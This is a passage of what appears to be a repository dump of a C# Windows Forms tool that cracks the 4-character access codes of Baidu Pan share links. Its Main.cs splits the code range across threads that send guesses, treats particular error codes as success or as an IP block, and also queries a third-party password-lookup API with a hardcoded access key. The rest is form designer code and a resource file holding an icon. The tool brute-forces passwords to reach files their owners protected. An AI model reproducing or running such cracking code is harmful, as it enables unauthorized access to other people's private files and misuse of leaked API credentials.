this.Controls.Add(this.btn_apk);\r\n            this.Controls.Add(this.btn_net);\r\n            this.Controls.Add(this.btn_status);\r\n            this.Controls.Add(this.txt_ts);\r\n            this.Controls.Add(this.gb_1);\r\n            this.Controls.Add(this.text_url);\r\n            this.Controls.Add(this.txt_url);\r\n            this.Controls.Add(this.btn_start);\r\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\r\n            this.MaximizeBox = false;\r\n            this.MaximumSize = new System.Drawing.Size(500, 300);\r\n            this.MinimizeBox = false;\r\n            this.MinimumSize = new System.Drawing.Size(500, 280);\r\n            this.Name = \"Main\";\r\n            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;\r\n            this.Text = \"百度网盘分享文件密码分析器\";\r\n            this.gb_1.ResumeLayout(false);\r\n            this.gb_1.PerformLayout();\r\n            this.ResumeLayout(false);\r\n            this.PerformLayout();\r\n\r\n        }\r\n\r\n        #endregion\r\n        private System.Windows.Forms.Label txt_url;\r\n        private System.Windows.Forms.TextBox text_url;\r\n        private System.Windows.Forms.GroupBox gb_1;\r\n        private System.Windows.Forms.Label txt_ksd;\r\n        private System.Windows.Forms.Label txt_jsd;\r\n        private System.Windows.Forms.TextBox text_jsd;\r\n        private System.Windows.Forms.TextBox text_ksd;\r\n        private System.Windows.Forms.TextBox text_zxsd;\r\n        private System.Windows.Forms.TextBox text_xczs;\r\n        private System.Windows.Forms.Label txt_zxsd;\r\n        private System.Windows.Forms.Label txt_xczs;\r\n        private System.Windows.Forms.Label txt_ts;\r\n        private System.Windows.Forms.Button btn_start;\r\n        private System.Windows.Forms.FolderBrowserDialog fBD;\r\n        private System.Windows.Forms.Button btn_status;\r\n        private System.Windows.Forms.Button btn_net;\r\n        private System.Windows.Forms.Button btn_apk;\r\n        private System.Windows.Forms.Button btn_app;\r\n        private System.Windows.Forms.Button btn_blog;\r\n    }\r\n}\r\n\r\n"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/Main.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Text.RegularExpressions;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public partial class Main : Form\r\n    {\r\n        public Main()\r\n        {\r\n            InitializeComponent();\r\n        }\r\n\r\n        /// <summary>\r\n        /// 解决方案\r\n        /// </summary>\r\n        private void btn_start_Click(object sender, EventArgs e)\r\n        {\r\n            if (fBD.ShowDialog() == DialogResult.OK)\r\n            {\r\n                #region 防止选择非空文件夹\r\n\r\n                //赋值给静态变量\r\n                StaticClass.file = fBD.SelectedPath;\r\n                //获取路径下所有文件\r\n                string[] files = Directory.GetFiles(StaticClass.file);\r\n                //拒绝选择有文件的文件夹\r\n                if (files.Length > 0) { MessageBox.Show(\"请务必选择空的文件夹\"); return; }\r\n\r\n                #endregion 防止选择非空文件夹\r\n\r\n                #region 防止空文本也执行\r\n\r\n                if (text_url.Text.Trim() == \"\" || !text_url.Text.Contains(\"pan.baidu\")) { MessageBox.Show(\"请输入百度云盘链接\"); return; }\r\n                if (text_xczs.Text == \"\") { MessageBox.Show(\"线程总数错误\"); return; }\r\n                if (text_zxsd.Text == \"\") { MessageBox.Show(\"线程执行速度错误\"); return; }\r\n                if (text_ksd.Text.Length != 4) { MessageBox.Show(\"密码开始点错误\"); return; }\r\n                if (text_jsd.Text.Length != 4) { MessageBox.Show(\"密码结束点错误\"); return; }\r\n\r\n                #endregion 防止空文本也执行\r\n\r\n                #region 生成配置文件\r\n\r\n                string Configuration;\r\n                try\r\n                {\r\n                    Configuration = File.ReadAllText(StaticClass.file + \"/Configuration.ini\");\r\n                    string[] str = Configuration.Split('∆');\r\n                    text_url.Text = str[0];\r\n                    text_xczs.Text = str[1];\r\n                    text_zxsd.Text = str[2];\r\n                }\r\n                catch\r\n                {\r\n                    Configuration = text_url.Text + \"∆\" + text_xczs.Text + \"∆\" + text_zxsd.Text;\r\n                    File.Delete(StaticClass.file + \"/Configuration.ini\");\r\n                    File.AppendAllText(StaticClass.file + \"/Configuration.ini\", Configuration);\r\n                }\r\n                StaticClass.url = text_url.Text;\r\n                StaticClass.status = false;\r\n\r\n                #endregion 生成配置文件\r\n\r\n                btn_status.Enabled = true;\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// 启动或停止\r\n        /// </summary>\r\n        private void btn_status_Click(object sender, EventArgs e)\r\n        {\r\n            if (btn_status.Text == \"停止\")\r\n            {\r\n                btn_status.Text = \"启动\";\r\n                btn_status.Enabled = false;\r\n                StaticClass.status = true;\r\n            }\r\n            else\r\n            {\r\n                #region 基本的线程\r\n\r\n                int xczs = Convert.ToInt32(text_xczs.Text);//线程总数\r\n                int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度\r\n                int start = Hash.StrTo4Hash(text_ksd.Text);//起始值\r\n                int end = Hash.StrTo4Hash(text_jsd.Text);//结束值\r\n                int total = end - start + 1;//尝试的总数\r\n                int section = total / xczs;//线程的次数\r\n\r\n                #endregion 基本的线程\r\n\r\n                #region 预防(防止)线程的总数大于尝试的总数\r\n\r\n                if (xczs > total)\r\n                {\r\n                    MessageBox.Show(\"小伙子又想让程序出BUG吗？\");\r\n                    MessageBox.Show(\"检测到线程的总数大于尝试的总数\");\r\n                    return;\r\n                }\r\n\r\n                #endregion 预防(防止)线程的总数大于尝试的总数\r\n\r\n                #region 标识程序已经启动\r\n\r\n                btn_status.Text = \"停止\";\r\n\r\n                #endregion 标识程序已经启动\r\n\r\n                #region 创建线程\r\n\r\n                for (int i = 1; i <= xczs; i++)\r\n                {\r\n                    int _start = start + section * (i - 1);//一条线程的开始值\r\n                    int _end = start + section * i;//一条线程的结束值\r\n\r\n                    new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();\r\n                }\r\n\r\n                #endregion 创建线程\r\n            }\r\n        }\r\n\r\n        /// <summary>\r\n        /// 联网查密(用到互联网搜索功能)\r\n        /// </summary>\r\n        private void btn_net_Click(object sender, EventArgs e)\r\n        {\r\n            if (text_url.Text.Trim() == \"\" || !text_url.Text.Contains(\"pan.baidu\")) { MessageBox.Show(\"请输入百度云盘链接\"); return; }\r\n\r\n            MessageBox.Show(\"本服务由 云盘万能钥匙(www.ypsuperkey.com)提供，本人仅是使用提供的接口\");\r\n\r\n            string info = text_url.Text.Replace(\"https\", \"\").Replace(\"http\", \"\").Replace(\"://pan.baidu.com/\", \"\").Replace(\"share/init?surl=\", \"\").Replace(\"s/1\", \"\");\r\n            string url = \"https://www.ypsuperkey.com/api/items/BDY-\" + info + \"?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg\";\r\n            string data = StaticClass.HttpGet(url);//请求并获得返回数据\r\n            data = \"密码为\" + Regex.Match(data, \"\\\"access_code\\\":\\\".+?\\\"\").Value.ToString().Replace(\"\\\"\", \"\").Replace(\"access_code:\", \"\");\r\n            if (data == \"密码为\") data = \"还是老老实实暴密码吧\";\r\n            MessageBox.Show(data, \"提示\");\r\n        }\r\n\r\n        #region 委托进行显示数据\r\n\r\n        private delegate void Modifystr(string str1, string str2);\r\n\r\n        public void ModifyStr(string str1, string str2)\r\n        {\r\n            if (InvokeRequired)\r\n            {\r\n                Modifystr stcb = new Modifystr(ModifyStr);\r\n                Invoke(stcb, new object[] { str1, str2 });\r\n            }\r\n            else\r\n            {\r\n                txt_ts.Text = str1 + \"》正在尝试：\" + str2;//显示点啥\r\n                File.AppendAllText(StaticClass.file + \"/logs.ini\", txt_ts.Text + \"\\r\\n\");//输出日志\r\n                if (str1.Contains(\"\\\"errno\\\":0\"))//密码正常\r\n                {\r\n                    StaticClass.status = true;\r\n                    MessageBox.Show(\"密码是：\" + str2);\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":-9\"))//密码错误\r\n                {\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":-62\"))//要输入验证码\r\n                {\r\n                }\r\n                else if (str1.Contains(\"404\"))//拒绝访问\r\n                {\r\n                    StaticClass.status = true;\r\n                    MessageBox.Show(\"你的IP被拒绝访问，请稍后重试\");\r\n                }\r\n                else { }//未知错误\r\n            }\r\n        }\r\n\r\n        #endregion 委托进行显示数据\r\n\r\n        #region 移动版本\r\n\r\n        /// <summary>\r\n        /// 安卓APK\r\n        /// </summary>\r\n        private void btn_apk_Click(object sender, EventArgs e)\r\n        {\r\n            try { System.Diagnostics.Process.Start(\"https://github.com/zgcwkj/TestBaiduPassword/tree/master/Application\"); } catch { }\r\n        }\r\n\r\n        /// <summary>\r\n        /// 苹果APP\r\n        /// </summary>\r\n        private void btn_app_Click(object sender, EventArgs e)\r\n        {\r\n            MessageBox.Show(\"作者无能为力，我也很无耐啊\");\r\n        }\r\n\r\n        #endregion 移动版本\r\n\r\n        #region 一些跳转\r\n\r\n        /// <summary>\r\n        /// 跳转到博客页\r\n        /// </summary>\r\n        private void btn_blog_Click(object sender, EventArgs e)\r\n        {\r\n            try { System.Diagnostics.Process.Start(\"http://blog.zgcwkj.top\"); } catch { }\r\n        }\r\n\r\n        /// <summary>\r\n        /// 跳转到开源页\r\n        /// </summary>\r\n        private void txt_ts_Click(object sender, EventArgs e)\r\n        {\r\n            try { System.Diagnostics.Process.Start(\"https://github.com/zgcwkj/TestBaiduPassword\"); } catch { }\r\n        }\r\n\r\n        #endregion 一些跳转\r\n\r\n        #region 限制键盘输入\r\n\r\n        /// <summary>\r\n        /// 限制输入\r\n        /// </summary>\r\n        private void _KeyPress(object sender, KeyPressEventArgs e)\r\n        {\r\n            if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;\r\n        }\r\n\r\n        #endregion 限制键盘输入\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/Main.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <metadata name=\"fBD.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\r\n    <value>17, 17</value>\r\n  </metadata>\r\n  <metadata name=\"$this.TrayHeight\" type=\"System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\r\n    <value>33</value>\r\n  </metadata>\r\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\r\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n    <value>\r\n        AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw\r\n        SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp\r\n        bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i\r\n        YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg\r\n        MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v\r\n        d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv\r\n        biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh\r\n        cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu\r\n        MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No\r\n        b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu\r\n        MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv\r\n        c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i\r\n        ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t\r\n        L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw\r\n        MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3\r\n        LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE\r\n        YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w\r\n        Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog\r\n        ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w\r\n        OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ\r\n        RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu\r\n        Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl\r\n        YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg\r\n        PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw\r\n        MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y\r\n        eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw\r\n        ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0\r\n        OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw\r\n        OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg\r\n        ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg\r\n        ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3\r\n        IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg\r\n        ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg\r\n        ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz\r\n        dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw\r\n        PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4\r\n        VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh\r\n        cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl\r\n        bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg\r\n        ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06\r\n        SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg\r\n        ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg\r\n        ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg\r\n        ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl\r\n        eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY\r\n        RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp\r\n        bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K\r\n        ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg\r\n        